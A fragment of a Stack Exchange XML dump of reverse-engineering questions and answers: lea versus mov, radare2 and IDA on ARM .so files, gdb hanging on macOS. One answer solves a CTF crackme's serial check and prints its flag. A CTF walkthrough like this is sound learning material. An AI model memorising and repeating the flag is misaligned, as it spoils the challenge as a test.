&lt;code&gt;R1&lt;/code&gt; would have been treated as an unsigned int.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-02-19T10:17:02.737" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23294" PostTypeId="2" ParentId="23285" CreationDate="2020-02-19T11:10:03.590" Score="8" Body="&lt;p&gt;lea = address&lt;br&gt;&#xA;mov = contents &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if address 0x401000 contains 0xDeadBeef  like ef be ad de&lt;/p&gt;&#xA;&#xA;&lt;p&gt;lea MySecretPlace, [401000]  MySecretPlace will be 0x401000&lt;br&gt;&#xA;Mov MySecretPlace, [401000]  MySecretPlace will be  DeadBeef   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mov MySecretPlace, byte ptr [401000] MySecretPlace will be 0xef 0r 0xef depending on EndianNess   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mov MySecretPlace, word ptr [401000] MySecretPlace will be 0xdead 0r 0xadde depending on EndianNess  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rwb62.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rwb62.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;find below a  small demo&lt;br&gt;&#xA;source   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat lea.cpp&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int main (void) {&#xA;    unsigned int secret = 0xdeadbeef;&#xA;    printf(&quot;DWORD PTR ds:[%p] == %x\n&quot; , &amp;amp;secret,*(unsigned int   *)&amp;amp;secret);&#xA;    printf(&quot;WORD  PTR ds:[%p] == %x\n&quot; , &amp;amp;secret,*(unsigned short *)&amp;amp;secret);&#xA;    printf(&quot;BYTE  PTR ds:[%p] == %x\n&quot; , &amp;amp;secret,*(unsigned char  *)&amp;amp;secret);&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;bld.bat lea&#xA;&#xA;:\&amp;gt;cl /Zi /W4 /O1 /analyze /EHsc /nologo  lea.cpp /link /release&#xA;lea.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;lea.exe&#xA;DWORD PTR ds:[0030F7DC] == deadbeef&#xA;WORD  PTR ds:[0030F7DC] == beef&#xA;BYTE  PTR ds:[0030F7DC] == ef&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembled  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;uf lea!main;q&quot; lea.exe &#xA;0:000&amp;gt; cdb: Reading initial command 'uf lea!main;q'&#xA;lea!main:&#xA;00fe1029 55              push    ebp&#xA;00fe102a 8bec            mov     ebp,esp&#xA;00fe102c 51              push    ecx&#xA;00fe102d b8efbeadde      mov     eax,0DEADBEEFh&#xA;00fe1032 50              push    eax&#xA;00fe1033 8945fc          mov     dword ptr [ebp-4],eax&#xA;00fe1036 8d45fc          lea     eax,[ebp-4]&#xA;00fe1039 50              push    eax&#xA;00fe103a 6890010201      push    offset lea!`string' (01020190)&#xA;00fe103f e82d000000      call    lea!printf (00fe1071)&#xA;00fe1044 0fb745fc        movzx   eax,word ptr [ebp-4]&#xA;00fe1048 50              push    eax&#xA;00fe1049 8d45fc          lea     eax,[ebp-4]&#xA;00fe104c 50              push    eax&#xA;00fe104d 68ac010201      push    offset lea!`string' (010201ac)&#xA;00fe1052 e81a000000      call    lea!printf (00fe1071)&#xA;00fe1057 0fb645fc        movzx   eax,byte ptr [ebp-4]&#xA;00fe105b 50              push    eax&#xA;00fe105c 8d45fc          lea     eax,[ebp-4]&#xA;00fe105f 50              push    eax&#xA;00fe1060 68c8010201      push    offset lea!`string' (010201c8)&#xA;00fe1065 e807000000      call    lea!printf (00fe1071)&#xA;00fe106a 83c424          add     esp,24h&#xA;00fe106d 33c0            xor     eax,eax&#xA;00fe106f c9              leave&#xA;00fe1070 c3              ret&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-02-19T12:29:16.203" LastActivityDate="2020-02-19T12:29:16.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23296" PostTypeId="2" ParentId="23275" CreationDate="2020-02-19T15:23:08.803" Score="0" Body="&lt;pre&gt;&lt;code&gt;0x00000000]&amp;gt; \iE* libjni.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It shows a list of exported function signatures with their absolute address in memory, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f sym.fun._Znaj = 0xc5a3f8b5&#xA;f sym.fun._ZdaPv = 0xc5a3e579&#xA;f sym.fun._ZdlPv = 0xc5a3e575&#xA;f sym.fun.__cxa_begin_catch = 0xc5a3ebd5&#xA;f sym.fun._ZSt9terminatev = 0xc5a3f4bd&#xA;f sym.fun._Znwj = 0xc5a3f861&#xA;f sym.var._ZTVN10__cxxabiv117__class_type_infoE = 0xc5a97290&#xA;f sym.fun.JNI_OnLoad = 0xc5a257a9&#xA;f sym.fun.__cxa_allocate_exception = 0xc5a3e655&#xA;f sym.fun.__cxa_throw = 0xc5a3f571&#xA;f sym.fun.__cxa_free_exception = 0xc5a3e6fd&#xA;f sym.fun.__cxa_rethrow = 0xc5a3f5f1&#xA;f sym.fun.__cxa_end_catch = 0xc5a3ec65&#xA;f sym.var._ZSt7nothrow = 0xc5a94138&#xA;f sym.fun._ZNSt8_Rb_treeISsSsSt9_IdentityISsESt4lessISsESaISsEE5clearEv = 0xc5a36c99&#xA;f sym.fun._ZNSt8_Rb_treeISsSsSt9_IdentityISsESt4lessISsESaISsEE16_M_insert_uniqueISsEESt4pairISt17_Rb_tree_iteratorISsEbEOT_ = 0xc5a36d3d&#xA;f sym.fun._ZNSt8_Rb_treeISsSsSt9_IdentityISsESt4lessISsESaISsEE4findERKSs = 0xc5a38701&#xA;f sym.fun._ZNSt6vectorISsSaISsEED2Ev = 0xc5a2df71&#xA;f sym.fun._ZNSt8_Rb_treeISsSsSt9_IdentityISsESt4lessISsESaISsEED2Ev = 0xc5a36f11&#xA;f sym.fun._ZNSt6vectorISsSaISsEE7reserveEj = 0xc5a32455&#xA;f sym.fun._ZNSt6vectorISsSaISsEE19_M_emplace_back_auxIJSsEEEvDpOT_ = 0xc5a39361&#xA;f sym.fun.__cxa_guard_acquire = 0xc5a3f665&#xA;f sym.fun.__cxa_guard_release = 0xc5a3f7dd&#xA;f sym.fun._ZNSt9exceptionD2Ev = 0xc5a3ed01&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26009" LastEditorUserId="24222" LastEditDate="2020-02-20T08:23:24.673" LastActivityDate="2020-02-20T08:23:24.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23297" PostTypeId="1" AcceptedAnswerId="23308" CreationDate="2020-02-19T18:19:21.767" Score="-2" ViewCount="107" Body="&lt;p&gt;What is the hash? Generated from ida pro&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __fastcall hash(_BYTE *a1)&#xA;{&#xA;  _BYTE *v1; // r4@1&#xA;  int v2; // r5@1&#xA;  int v3; // r6@1&#xA;&#xA;  v1 = a1;&#xA;  v2 = 0;&#xA;  v3 = 1;&#xA;  while ( *v1 )&#xA;  {&#xA;    v3 = (*v1 + v3) % 51407;&#xA;    v2 = (v3 + v2) % 51407;&#xA;    ++v1;&#xA;  }&#xA;  return ~(v3 | (v2 &amp;lt;&amp;lt; 16));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28062" LastActivityDate="2020-02-20T17:35:26.047" Title="Hash from pseudocode" Tags="|ida|c++|c|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ClosedDate="2020-02-28T20:54:06.077" ContentLicense="CC BY-SA 4.0" />
  <row Id="23298" PostTypeId="1" AcceptedAnswerId="23299" CreationDate="2020-02-19T19:32:03.210" Score="1" ViewCount="7214" Body="&lt;p&gt;I have a .so file from an android app, and I want to disassemble it with IDA. However I get the error: &#xA;&lt;code&gt;The processor type 'arm' is not included in the installed version of IDA.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Version: Freeware 7.0&lt;br&gt;&#xA;OS: Windows 10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the freeware 7.0 just not disassemble arm files? If not, what is a suitable alternative that actually works properly and displays a nice function table etc.?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="31135" LastActivityDate="2020-02-19T22:02:10.287" Title="IDA Freeware 7.0 disassemble ARM .so file" Tags="|ida|arm|shared-object|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23299" PostTypeId="2" ParentId="23298" CreationDate="2020-02-19T20:23:12.990" Score="1" Body="&lt;p&gt;Radare2 can disassemble .so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;file libogg_opus_encoder.so&#xA;libogg_opus_encoder.so; ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped&#xA;&#xA;:\&amp;gt;radare2 libogg_opus_encoder.so&#xA; -- Disable these messages with 'e cfg.fortunes = false' in your ~/.radare2rc&#xA;[0x00018d78]&amp;gt; aa&#xA;←[32m[x]←[0m Analyze all flags starting with sym. and entry0 (aa)&#xA;[0x00018d78]&amp;gt; pdf&#xA;            ;-- entry.fini1:&#xA;            ;-- section..text:&#xA;            ;-- pc:&#xA;            ;-- r15:&#xA;/ (fcn) entry0 12&#xA;|   entry0 ();&#xA;|           0x00018d78      04009fe5       ldr r0, [0x00018d84]        ; [0x18d84:4]=0x4835c ; [15] -r-x&#xA;|           0x00018d7c      00008fe0       add r0, pc, r0&#xA;\       ,=&amp;lt; 0x00018d80      3a0f01ea       b sym.imp.__cxa_atexit      ; sym.imp.__cxa_finalize+0xc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also ghidra should be able to disassemble .so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the link you posted in comments shows a functionlist and a graphical disassembly both are available in radare2 &#xA;look for fs,f,pdf,VV commands&lt;/p&gt;&#xA;&#xA;&lt;p&gt;shown below is the same disassembly on the link youposted&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;file libminecraftpe.so&#xA;libminecraftpe.so; ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped&#xA;&#xA;:\&amp;gt;radare2 -A libminecraftpe.so&#xA;[←[0m{ctrl+c} pressed.lags starting with sym. and entry0 (aa)&#xA;←[32m[x]←[0m Analyze all flags starting with sym. and entry0 (aa)&#xA; -- git pull now&#xA;[0x002315d0]&amp;gt; f~Crafting~Held&#xA;0x003e2dd8 76 sym.CraftingInventoryScreenController::_handleHeldButton_int&#xA;0x003e2dd8 1 method.CraftingInventoryScreenController._handleHeldButton_int&#xA;[0x002315d0]&amp;gt; s 0x3e2dd8&#xA;[0x003e2dd8]&amp;gt; af&#xA;[0x003e2dd8]&amp;gt; pdf&#xA;            ;-- method.CraftingInventoryScreenController._handleHeldButton_int:&#xA;/ (fcn) sym.CraftingInventoryScreenController::_handleHeldButton_int 76&#xA;|   sym.CraftingInventoryScreenController::_handleHeldButton_int ();&#xA;|           0x003e2dd8      f8b5           push {r3, r4, r5, r6, r7, lr}&#xA;|           0x003e2dda      00f12c06       add.w r6, r0, 0x2c&#xA;|           0x003e2dde      0546           mov r5, r0&#xA;|           0x003e2de0      0f46           mov r7, r1&#xA;|           0x003e2de2      3046           mov r0, r6&#xA;|           0x003e2de4      5df01efb       bl sym.HeldButtonData::getCollectionIndex__const&#xA;|           0x003e2de8      b842           cmp r0, r7&#xA;|           0x003e2dea      0446           mov r4, r0&#xA;|       ,=&amp;lt; 0x003e2dec      01d0           beq 0x3e2df2&#xA;|       |   ; CODE XREF from sym.CraftingInventoryScreenController::_handleHeldButton_int (0x3e2e22)&#xA;|     ..--&amp;gt; 0x003e2dee      0120           movs r0, 1&#xA;|     ::|   0x003e2df0      f8bd           pop {r3, r4, r5, r6, r7, pc}&#xA;|     ::`-&amp;gt; 0x003e2df2      431c           adds r3, r0, 1&#xA;|     `===&amp;lt; 0x003e2df4      fbd0           beq 0x3e2dee&#xA;|      :    0x003e2df6      3046           mov r0, r6&#xA;|      :    0x003e2df8      5df0f6fa       bl sym.HeldButtonData::getButtonId__const&#xA;|      :    0x003e2dfc      b5f92630       ldrsh.w r3, [r5, 0x26]&#xA;|      :    0x003e2e00      8342           cmp r3, r0&#xA;|      :,=&amp;lt; 0x003e2e02      05d0           beq 0x3e2e10&#xA;|     .---&amp;gt; 0x003e2e04      2846           mov r0, r5&#xA;|     ::|   0x003e2e06      2146           mov r1, r4&#xA;|     ::|   0x003e2e08      5df012fb       bl sym.MinecraftScreenController::_handleHeldButton_int&#xA;|     ::|   0x003e2e0c      0120           movs r0, 1&#xA;|     ::|   0x003e2e0e      f8bd           pop {r3, r4, r5, r6, r7, pc}&#xA;|     ::`-&amp;gt; 0x003e2e10      3046           mov r0, r6&#xA;|     ::    0x003e2e12      5df0effa       bl sym.HeldButtonData::getItemLocation__const&#xA;|     ::    0x003e2e16      0328           cmp r0, 3&#xA;|     `===&amp;lt; 0x003e2e18      f4d1           bne 0x3e2e04&#xA;|      :    0x003e2e1a      2846           mov r0, r5&#xA;|      :    0x003e2e1c      2146           mov r1, r4&#xA;|      :    0x003e2e1e      fff7d7fe       bl sym.CraftingInventoryScreenController::_handleArmorTakePlace_int&#xA;\      `==&amp;lt; 0x003e2e22      e4e7           b 0x3e2dee&#xA;[0x003e2dd8]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function list grepped for MainChunk&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x003e2dd8]&amp;gt; f~MainChunk&#xA;0x00000000 1 class.MainChunkSource&#xA;0x00298f1c 4 sym.MainChunkSource::getStoredChunks__const&#xA;0x00298f1c 1 method.MainChunkSource.getStoredChunks__const&#xA;0x00298f20 4 sym.MainChunkSource::getStoredChunks&#xA;0x00298f20 1 method.MainChunkSource.getStoredChunks&#xA;0x0029e558 1 method.MainChunkSource._MainChunkSource&#xA;0x0029e5a8 18 sym.MainChunkSource::_MainChunkSource&#xA;0x0029e5bc 320 sym.MainChunkSource::releaseChunk_LevelChunk&#xA;0x0029e5bc 1 method.MainChunkSource.releaseChunk_LevelChunk&#xA;0x002a0afc 102 sym.MainChunkSource::getExistingChunk_ChunkPosconst&#xA;0x002a0afc 1 method.MainChunkSource.getExistingChunk_ChunkPosconst&#xA;0x002be794 112 sym.MainChunkSource::MainChunkSource_std::unique_ptr_ChunkSource_std::default_delete_ChunkSource&#xA;0x002be794 1 method.MainChunkSource.MainChunkSource_std::unique_ptr_ChunkSource_std::default_delete_ChunkSource&#xA;0x002d60d0 174 sym.MainChunkSource::requestChunk_ChunkPosconst__ChunkSource::LoadMode&#xA;0x002d60d0 1 method.MainChunkSource.requestChunk_ChunkPosconst__ChunkSource::LoadMode&#xA;0x002d6180 168 sym.MainChunkSource::acquireDiscarded_std::unique_ptr_LevelChunk_std::default_delete_LevelChunk&#xA;0x002d6180 1 method.MainChunkSource.acquireDiscarded_std::unique_ptr_LevelChunk_std::default_delete_LevelChunk&#xA;0x005e3cb0 80 obj.vtableforMainChunkSource&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the graph view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SjM1o.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjM1o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-02-19T22:02:10.287" LastActivityDate="2020-02-19T22:02:10.287" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23300" PostTypeId="2" ParentId="23298" CreationDate="2020-02-19T21:51:45.233" Score="1" Body="&lt;p&gt;No, it doesn’t support ARM files.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the description&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The freeware version of IDA v7.0 comes with the following limitations:&lt;/p&gt;&#xA;&lt;p&gt;• no commercial use is allowed&lt;/p&gt;&#xA;&lt;p&gt;•   lacks all features introduced in IDA &amp;gt; v7.0&lt;/p&gt;&#xA;&lt;p&gt;•   &lt;strong&gt;lacks support for many processors&lt;/strong&gt;, file formats, etc…&lt;/p&gt;&#xA;&lt;p&gt;•   comes without technical support&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-02-19T21:51:45.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23301" PostTypeId="1" CreationDate="2020-02-19T22:24:08.810" Score="0" ViewCount="291" Body="&lt;p&gt;I'm trying to understand the following snippet code from a CTF binary. It is part of an ELF 32-bit and I decompiled it with Ghidra.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined4 check_serial(char *code)&#xA;&#xA;{&#xA;  size_t sVar1;&#xA;  undefined4 uVar2;&#xA;  int in_GS_OFFSET;&#xA;  int iterator;&#xA;  byte correct_code [16];&#xA;  int local_10;&#xA;&#xA;  local_10 = *(int *)(in_GS_OFFSET + 0x14);&#xA;  correct_code[0] = 0x27;&#xA;  correct_code[1] = 0x31;&#xA;  correct_code[2] = 0x20;&#xA;  correct_code[3] = 0x1c;&#xA;  correct_code[4] = 0x1a;&#xA;  correct_code[5] = 8;&#xA;  correct_code[6] = 4;&#xA;  correct_code[7] = 0x18;&#xA;  correct_code[8] = 0x5c;&#xA;  correct_code[9] = 0;&#xA;  correct_code[10] = 0x31;&#xA;  correct_code[11] = 0x18;&#xA;  correct_code[12] = 0x44;&#xA;  correct_code[13] = 3;&#xA;  correct_code[14] = 0x17;&#xA;  correct_code[15] = 0xe;&#xA;  sVar1 = strlen(code);&#xA;  if (sVar1 == 0x10) {&#xA;    iterator = 0;&#xA;    while (iterator &amp;lt; 0x10) {&#xA;      if ((uint)(byte)((char)iterator + 100U ^ correct_code[iterator]) != (int)code[iterator]) {&#xA;        uVar2 = 0;&#xA;        goto LAB_08048aca;&#xA;      }&#xA;      iterator = iterator + 1;&#xA;    }&#xA;    uVar2 = 1;&#xA;  }&#xA;  else {&#xA;    uVar2 = 0;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've already renamed some variables to make the code more clear.&#xA;I have to find the correct serial that will give me the flag. However, I don't understand the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((uint)(byte)((char)iterator + 100U ^ correct_code[iterator]) != (int)code[iterator])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the first iteration of the loop, it takes the iterator (which is 0) and adds 100 to it. This makes a total of 100 and performs a XOR operation with &lt;em&gt;correct_code[0]&lt;/em&gt; which is 0x27 or 39 in decimal. The result of the XOR between 100 and 39 is &lt;strong&gt;43&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I perform all the iterations of the loop, I get the following serial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;43 84 70 123 114 97 110 115 48 109 95 119 52 114 101 125&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the binary says this is not the correct serial.&#xA;I tried with and without spaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am not understanding about this code snippet?&lt;/p&gt;&#xA;" OwnerUserId="31163" LastActivityDate="2020-02-20T00:39:22.690" Title="Conditional to check bytes against user input [ELF 32-bit]" Tags="|elf|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23302" PostTypeId="2" ParentId="23301" CreationDate="2020-02-20T00:39:22.690" Score="1" Body="&lt;p&gt;Hehe, you're definitely close and on the right track; however, when you say this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;However, the binary says this is not the correct serial. I tried with and without spaces.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This tells me that you're a tad confused and entering it wrong. I have two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reminder, letters are seen as numbers when you're at the low level. &lt;/li&gt;&#xA;&lt;li&gt;You're mixing hexadecimal with decimal which will throw your answer off&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you print your values as characters, you may see something pretty interesting...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm going to break it down a little bit so you can see the big picture juuuust in case you're new to this and would like to learn something new today...Lets focus on the if statement. It's saying that if the length of your code isn't 0x10, or 16, it will assign &lt;code&gt;uVar2&lt;/code&gt; to 0. If it is the length, it'll be assigned to 1. This tells me that &lt;code&gt;undefined4 check_serial(char *code)&lt;/code&gt; is actually a boolean function and can be rewritten to &lt;code&gt;bool check_serial(char *code)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if the length of your serial is 0x10, it'll go to this code block (cleaned up a bit):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (codeLen == 0x10) &#xA;{&#xA;    iterator = 0;&#xA;    while (iterator &amp;lt; 0x10) &#xA;    {&#xA;        if (iterator + 100U ^ correct_code[iterator]) != code[iterator]) &#xA;        {&#xA;            return false;&#xA;        }&#xA;        iterator++;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the operation inside that if statement doesn't match, it'll return false. You can get an idea of what it's checking if you get all the values inside correct_code and do that operation yourself. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte test[] = {&#xA;    0x27, 0x31, 0x20, 0x1c, 0x1a, 0x8, 0x4, 0x18, 0x5c, 0x0, 0x31, 0x18, 0x44, 0x3, 0x17, 0xe&#xA;};&#xA;&#xA;int main()&#xA;{&#xA;    int i = 0;&#xA;    const int thing= 100;&#xA;&#xA;    // These are your values in decimal&#xA;    while (i &amp;lt; 0x10)&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; (i + thing ^ test[i]) &amp;lt;&amp;lt; &quot; &quot;;&#xA;        i++;&#xA;    }&#xA;    std::cout &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    i = 0;&#xA;    // These are your values in hexadecimal&#xA;    while (i &amp;lt; 0x10)&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; (i + thing ^ test[i]) &amp;lt;&amp;lt; &quot; &quot;;&#xA;        i++;&#xA;    }&#xA;    std::cout &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    i = 0;&#xA;    // Lastly, your values as alphanumeric characters&#xA;    while (i &amp;lt; 0x10)&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; char(i + thing ^ test[i]);&#xA;        i++;&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get you this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Release&amp;gt;ConsoleApplication6.exe&#xA;67 84 70 123 114 97 110 115 48 109 95 119 52 114 101 125&#xA;43 54 46 7b 72 61 6e 73 30 6d 5f 77 34 72 65 7d&#xA;CTF{rans0m_w4re}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyhow, hope this clears up what you were stuck on! I would recommend going over it again and trying it out on a different ctf binary or something on crackme/rootme/whatever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, here is how I would clean up this code block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool check_serial(char *code)&#xA;{&#xA;    int iterator = 0;&#xA;    byte correct_code[16] = {&#xA;        0x27, 0x31, 0x20, 0x1c, 0x1a, 0x8, 0x4, 0x18, &#xA;        0x5c, 0x0, 0x31, 0x18, 0x44, 0x3, 0x17, 0xe&#xA;    };&#xA;&#xA;    codeLen = strlen(code);&#xA;    if (codeLen == 0x10) &#xA;    {&#xA;        while (iterator &amp;lt; 0x10) &#xA;        {&#xA;            if ((iterator + 100U ^ correct_code[iterator]) != code[iterator]) &#xA;            {&#xA;                return false;&#xA;            }&#xA;            iterator++;&#xA;        }&#xA;        return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29798" LastActivityDate="2020-02-20T00:39:22.690" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23303" PostTypeId="1" CreationDate="2020-02-20T02:20:54.760" Score="1" ViewCount="77" Body="&lt;p&gt;Is it be possible to inject a new menu/menu item into a program's menu bar? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, in Notepad's (Windows) &quot;Help&quot; menu, would it be possible to add a new entry to that menu like &quot;Open calculator&quot; which runs calc.exe when clicked? How would one accomplish something like this?&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2020-02-20T02:20:54.760" Title="Possible to inject a new menu into a program's menu bar?" Tags="|ida|windows|debugging|pe|injection|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23305" PostTypeId="1" CreationDate="2020-02-20T14:18:19.670" Score="5" ViewCount="11642" Body="&lt;p&gt;When I type &lt;code&gt;gdb a.out&lt;/code&gt; and then &lt;code&gt;run&lt;/code&gt; inside the gdb itself &lt;strong&gt;I get stuck on the empty line&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jericho-laptop:exploit.education jericho$ gdb a.out &#xA;GNU gdb (GDB) 9.1&#xA;...&#xA;Reading symbols from a.out...&#xA;(No debugging symbols found in a.out)&#xA;(gdb) run&#xA;Starting program: /Users/jericho/Desktop/exploit.education/a.out &#xA;[New Thread 0x2703 of process 53514]&#xA;[New Thread 0x2603 of process 53514]&#xA;&#xA;  &amp;lt;&amp;lt;&amp;lt; STUCK IN HERE &amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It obviously says 2 threads of a process 53514 were created. Though the program is not multi-threaded it is a simple tiny C crackme with only a main function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The console gets stuck, I can type whatever I want but I can't get it to continue and I can't get it to quit. I have to forcibly close the terminal window.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What am I doing wrong?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I don't know what to do. The GDB does the same for any other binary I try to run. I am using MacOS with gdb 9.1 which I codesigned.&lt;/p&gt;&#xA;" OwnerUserId="31153" LastActivityDate="2020-06-26T22:35:53.840" Title="GDB hangs when I try to run and debug a binary" Tags="|assembly|debugging|gdb|macos|" AnswerCount="3" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23307" PostTypeId="2" ParentId="23305" CreationDate="2020-02-20T17:23:43.017" Score="8" Body="&lt;p&gt;It looks like the problem is partially fixed by running &lt;code&gt;set startup-with-shell off&lt;/code&gt; inside the &lt;code&gt;gdb&lt;/code&gt;. Why? I don't know, no clue, I just read it somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has a different solution or know why this works, please, tell us here.&lt;/p&gt;&#xA;" OwnerUserId="31153" LastActivityDate="2020-02-20T17:23:43.017" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
